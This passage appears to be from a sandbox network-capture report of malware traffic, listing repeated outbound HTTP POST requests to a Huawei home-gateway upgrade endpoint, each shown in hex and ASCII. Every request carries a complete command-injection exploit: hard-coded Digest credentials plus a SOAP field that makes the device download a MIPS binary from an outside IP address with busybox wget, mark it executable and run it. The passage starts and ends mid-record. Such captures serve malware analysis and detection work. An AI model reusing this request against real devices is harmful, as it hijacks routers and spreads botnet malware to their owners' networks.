64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:04.359695911 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:05.351619959 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:07.335278988 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:11.302711964 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:19.237576962 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:35.111361027 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
447	192.168.2.23	53148	156.235.99.40	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:03.497246027 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:04.359707117 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:05.351608992 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 